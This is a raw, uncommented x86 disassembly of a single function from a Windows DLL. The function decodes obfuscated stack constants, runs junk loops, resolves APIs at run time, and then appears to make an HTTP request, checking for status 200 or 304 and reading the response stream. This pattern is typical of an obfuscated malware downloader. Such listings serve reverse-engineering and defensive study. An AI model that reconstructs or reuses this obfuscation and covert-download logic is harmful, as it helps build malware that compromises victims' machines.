pop ecx
xor eax, eax
lea edi, [ebp - 0x518]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x144]
mov cl, 1
stosw word es:[edi], ax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x1dc]
mov dword [ebp - 0x144], 0x841b3c69
push eax
push ebx
push 0x4864
lea eax, [ebp - 0x1fc]
mov dword [ebp - 0x220], 0xfa42
push eax
mov dword [ebp - 0x1dc], 0x40f2
push 1
mov dword [ebp - 0x1fc], 0xffffffff
call fcn.100290c9
add esp, 0x18
mov word [ebp - 0x130], 0x8404
mov ecx, ebx
mov byte [ebp - 0x12e], 0x1f
mov byte [ebp - 0x12d], bl
mov dword [ebp - 0x12c], 0x19180d24
push 0x39
pop eax
push 2
mov dword [ebp - 0x128], 0x47041e12
mov dword [ebp - 0x124], 0x595dab6
mov dword [ebp - 0x120], 0x17060803
mov dword [ebp - 0x11c], 0x1d010373
mov dword [ebp - 0x118], 0x9762370
mov dword [ebp - 0x114], 0x16140a6f
mov dword [ebp - 0x110], 0x61f0e0b
mov dword [ebp - 0x10c], 0x1c051b6b
mov dword [ebp - 0x108], 0x25722273
mov dword [ebp - 0x104], 0x1044203f
mov dword [ebp - 0x100], 0x1a011908
mov byte [ebp - 0xfc], bl
mov word [ebp - 0xfb], 0x315
mov byte [ebp - 0xf9], bl
mov dword [ebp - 0xf8], 0x14480d48
mov dword [ebp - 0xf4], 0x11040171
mov dword [ebp - 0xf0], 0xb720202
mov dword [ebp - 0xec], 0x7740c75
mov dword [ebp - 0xe8], 0xf1c1306
mov dword [ebp - 0xe4], 0x1e01211c
mov byte [ebp - 0xe0], 0x76
mov word [ebp - 0x560], ax
pop esi
mov dword [ebp - 0x3c], ecx
cmp esi, 0xa
jne 0x1002a4f7
push 5
pop ecx
push 0xd
mov dword [ebp - 0x3c], ecx
pop esi
jmp 0x1002a54a
movzx edx, byte [ebp + esi - 0x12f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x132]
movzx eax, word [ebp + eax*2 - 0x568]
mov ecx, eax
and eax, edx
or ecx, edx
lea edx, [ebp - 0x3c]
sub ecx, eax
movzx eax, byte [ebp + esi - 0x130]
push ecx
push 0x13a1
push ebx
mov word [ebp + eax*2 - 0x568], cx
mov ecx, 0x76c5
push 0x37ba
call fcn.100292cf
mov ecx, dword [ebp - 0x3c]
add esp, 0x10
add esi, 2
cmp esi, 0x51
jb 0x1002a4e7
push ecx
xor eax, eax
mov edx, 0x4001
mov word [ebp - 0x51c], ax
lea eax, [ebp - 0x48]
push ebx
push eax
push ecx
mov dword [ebp - 0x48], 0xcf5720e8
push ecx
call fcn.100292b9
add esp, 0x14
mov dword [ebp - 0x48], 0xfffffffe
cmp dword [ebp - 0x48], 0xffffffe9
jg 0x1002a651
mov dword [ebp - 0x24], 0xcbad86e5
dec dword [ebp - 0x24]
mov dword [ebp - 0x24], 0x437d
cmp dword [ebp - 0x24], 0x4490
jle 0x1002a5e2
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x1006f958
or eax, esi
cdq
push edx
push eax
call fcn.10001c9b
inc edi
cmp edi, 0x1a29
jl 0x1002a5a6
inc esi
cmp esi, 0x6970
jl 0x1002a5a4
push 0x2437
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
push 0x79bb
push 0x670c
push 1
push 0x5c2b
push 0x1d0d
push ebx
mov edx, 0x3567
mov cl, 1
call fcn.100290c9
add esp, 0x18
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x24], 0x4074
jge 0x1002a642
mov edx, str.dpc_cajtezag_zaiyxbgu_zcxed_kspbwps_xeiecgy_fhmngzguv_wptdpd_lyrea_pnt_aqacvr_ublztjvbl_hps_clj
mov ecx, 0x1006f958
call fcn.1000366a
jmp 0x1002a642
mov dword [ebp - 4], 0x14
dec dword [ebp - 0x48]
jmp 0x1002a57e
xor eax, eax
mov dword [ebp - 0x288], 7
mov word [ebp - 0x29c], ax
lea ecx, [ebp - 0x29c]
lea eax, [ebp - 0x568]
mov dword [ebp - 0x28c], ebx
push eax
call fcn.10015682
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x18], ebx
jmp 0x1002a696
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x170], 0x8d327cb3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1002a685
push ecx
lea eax, [ebp - 0x3e]
mov byte [ebp - 0x3e], bl
push eax
mov dl, 1
call fcn.1002900c
push 0x107e
push 0x1505
push 1
push 0x6538
push 0x1280
push 1
mov edx, 0x1a6c
mov cl, 1
call fcn.100290c9
add esp, 0x20
lea edi, [ebp - 0x568]
xor eax, eax
push 0x13
pop ecx
rep stosd dword es:[edi], eax
push 0xfffffffffffffffd
xor ecx, ecx
inc ecx
stosw word es:[edi], ax
pop eax
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x18], ebx
jmp 0x1002a71f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x348], 0xec6e54ee
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002a70e
mov dword [ebp - 0x14], 3
push 8
pop edi
cmp dword [ebp - 0x14], ebx
jl 0x1002a7b1
mov dword [ebp - 0x28], 0xf368a901
mov edx, 0x4590
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x14]
push 0x20af
push 0x67db
push ecx
mov eax, dword [ebp + eax*4 - 0x1d0]
xor cl, cl
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1d0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1d0]
mov eax, dword [ebp - 0x33c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1d0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1d0]
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
push 0xf70
push ebx
call fcn.100290c9
add esp, 0x18
dec dword [ebp - 0x14]
push 1
pop ecx
jns 0x1002a734
cmp dword [ebp - 0x25c], edi
lea ecx, [ebp - 0x384]
push ecx
lea eax, [ebp - 0x270]
mov esi, 0xe2f
cmovae eax, dword [ebp - 0x270]
push eax
push esi
push 0xf23
call fcn.10012926
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002ad03
cmp dword [ebp - 0x288], edi
lea ecx, [ebp - 0x3a8]
push ecx
lea eax, [ebp - 0x29c]
cmovae eax, dword [ebp - 0x29c]
push eax
push esi
push 0xf23
call fcn.10012926
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002ad03
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x384]
push eax
push 3
push ebx
lea eax, [ebp - 0x3a8]
push eax
push esi
push 0xfda
call fcn.10012926
pop ecx
pop ecx
call eax
test eax, eax
js 0x1002ad03
cmp dword [ebp - 0x38], 0
je 0x1002ad03
mov dword [ebp - 0x24], 0x2704
cmp dword [ebp - 0x24], 0x2a79
jle 0x1002a8db
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov eax, ebx
mov dword [ebp - 0x3c], ebx
mov edi, ebx
mov dword [ebp - 0x44], ebx
lea esi, [edi + eax]
mov edi, 0x6941
add esi, ecx
mov eax, esi
lea ecx, [ebp - 0x434]
cdq
push edx
push eax
call fcn.10001a11
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002a893
mov eax, dword [eax]
push eax
call fcn.1003e6f6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x434]
call fcn.10002003
inc esi
dec edi
jne 0x1002a879
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
inc edi
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x44], edi
cmp edi, 0x30f8
jl 0x1002a86f
inc eax
mov dword [ebp - 0x3c], eax
cmp eax, 0x303b
jl 0x1002a86a
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x1cb5
jl 0x1002a865
push 8
pop edi
lea eax, [ebp - 0x338]
push ebx
push eax
call fcn.10028d63
cmp dword [ebp - 0x24], 0x2626
pop ecx
pop ecx
jge 0x1002a8fe
push str.xdunq_rvbxss_yuvj_zlpftkksu_bqfutgk_vlwxatqy_gbq
call fcn.1003e6f6
pop ecx
mov dword [ebp - 4], 0x19
xor eax, eax
push 0x65
mov word [ebp - 0x330], ax
mov ecx, ebx
pop eax
push 2
mov dword [ebp - 0x54], 0x1102ff01
mov dword [ebp - 0x50], 0x4a113704
mov byte [ebp - 0x4c], 0x7d
mov byte [ebp - 0x4b], bl
mov byte [ebp - 0x4a], 0x33
mov word [ebp - 0x14a], ax
pop esi
cmp esi, 4
jne 0x1002a943
push 5
pop ecx
push 7
pop esi
jmp 0x1002a972
movzx edx, byte [ebp + esi - 0x53]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x56]
movzx ecx, word [ebp + eax*2 - 0x14c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x54]
add ecx, edx
mov word [ebp + eax*2 - 0x14c], cx
mov ecx, ebx
add esi, 2
cmp esi, 0xb
jb 0x1002a936
xor eax, eax
mov dword [ebp - 0x190], 7
mov word [ebp - 0x146], ax
lea ecx, [ebp - 0x1a4]
mov word [ebp - 0x1a4], ax
lea eax, [ebp - 0x14c]
push eax
mov dword [ebp - 0x194], ebx
call fcn.10015682
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1a4]
cmp dword [ebp - 0x190], edi
mov eax, dword [ebp - 0x194]
cmovae ecx, dword [ebp - 0x1a4]
push dword [ebp - 0x170]
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x148], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x1ec], ebx
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 0x1e8], ebx
cmovae ecx, dword [ebp - 0x1a4]
push eax
push ecx
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x1e4], ebx
call fcn.1002b691
lea eax, [ebp - 0x1ec]
mov byte [ebp - 4], 0x1d
push eax
push ecx
mov edx, 0x7639
mov cl, 1
call fcn.10029280
mov edx, dword [ebp - 0x140]
pop ecx
pop ecx
cmp dword [edx + 0x14], edi
jb 0x1002aa33
mov ecx, dword [edx]
jmp 0x1002aa35
mov ecx, edx
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
cmp dword [edx + 0x14], edi
jb 0x1002aa42
mov edx, dword [edx]
push dword [ebp - 0x170]
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x1b0], ebx
push eax
push edx
mov dword [ebp - 0x1ac], ebx
mov dword [ebp - 0x1a8], ebx
call fcn.1002b691
push ecx
push ecx
lea eax, [ebp - 0x1b0]
mov byte [ebp - 4], 0x1e
push 1
push eax
mov ecx, 0x7bbb
call fcn.10028a4f
cmp dword [ebp - 0x190], edi
lea esi, [ebp - 0x2b0]
mov edi, esp
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x1a4]
cmovae edx, dword [ebp - 0x1a4]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2b0]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x338]
push dword [ebp - 0x1b0]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1002acc0
mov esi, dword [ebp - 0x168]
mov cl, 1
mov dword [ebp - 0x13c], ebx
cmp esi, dword [ebp - 0x164]
je 0x1002ab35
add esi, 0x18
test cl, cl
je 0x1002ab1d
cmp dword [esi + 0x14], 8
jb 0x1002aafc
mov edi, dword [esi]
jmp 0x1002aafe
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1002ab09
mov edx, dword [esi - 0x18]
jmp 0x1002ab0c
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x38]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1002ab1f
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x164]
jne 0x1002aaee
test cl, cl
je 0x1002acc0
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x2b0]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1002acc0
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x13c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1002acc0
cmp dword [ebp - 0x13c], 0x130
je 0x1002ab89
cmp dword [ebp - 0x13c], 0xc8
jne 0x1002acc0
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x398]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1002acc0
mov esi, dword [ebp - 0x390]
mov dword [ebp - 0x15c], esi
test esi, esi
je 0x1002acc0
mov eax, dword [esi]
lea ecx, [ebp - 0x5d0]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1002ac97
mov edi, dword [ebp - 0x5c8]
lea ecx, [ebp - 0x3f]
mov eax, dword [ebp - 0x158]
push ecx
push edi
push eax
mov dword [ebp - 0x154], eax
lea ecx, [ebp - 0x158]
lea eax, [ebp - 0x2f4]
mov dword [ebp - 0x144], edi
push eax
mov dword [ebp - 0x234], edi
mov byte [ebp - 0x3f], bl
call fcn.1002b1a2
mov edx, edi
mov dword [ebp - 0x134], ebx
mov edi, ebx
mov dword [ebp - 0x174], edx
mov dword [ebp - 0x178], edi
mov eax, dword [ebp - 0x158]
lea ebx, [ebp - 0x134]
mov ecx, dword [esi]
add eax, edi
push ebx
push edx
push eax
push esi
call dword [ecx + 0xc]
mov ebx, dword [ebp - 0x144]
test eax, eax
js 0x1002ac6d
add edi, dword [ebp - 0x134]
lea eax, [ebp - 0x134]
push eax
lea eax, [ebp - 0x174]
mov dl, 1
push eax
push ecx
push ecx
mov ecx, 0x692b
call fcn.10028ff4
add esp, 0x10
cmp edi, ebx
jae 0x1002ac6d
mov edx, dword [ebp - 0x174]
jmp 0x1002ac1b
push ecx
lea eax, [ebp - 0x158]
mov dword [ebp - 0x178], edi
push eax
push 1
lea eax, [ebp - 0x178]
push eax
push 0x31
pop edx
lea ecx, [ebp - 0x234]
call fcn.100292cf
add esp, 0x10
xor ebx, ebx
push 0x4b19
push 0x4166
lea eax, [ebp - 0x15c]
xor dl, dl
push eax
push 1
push 0x7156
push 1
mov ecx, 0x78bc
call fcn.10028cac
add esp, 0x18
push 0x5bce
push 1
mov dl, 1
lea ecx, [ebp - 0x38]
call fcn.10028b31
pop ecx
pop ecx
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x38], ebx
call fcn.10028370
lea ecx, [ebp - 0x1ec]
call fcn.10028370
push ebx
push 1
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 0x19
call fcn.1001570a
mov esi, 0xe2f
push esi
push 0xb53
call fcn.10012926
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x1e0]
lea eax, [ebp - 0x158]
push eax
call fcn.1002af6a
push ebx
push 1
lea ecx, [ebp - 0x29c]
call fcn.1001570a
push ebx
push 1
lea ecx, [ebp - 0x270]
call fcn.1001570a
lea ecx, [ebp - 0x168]
call fcn.1002b01f
lea ecx, [ebp - 0x158]
call fcn.1002b0ef
lea ecx, [ebp + 8]
call fcn.1002b01f
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret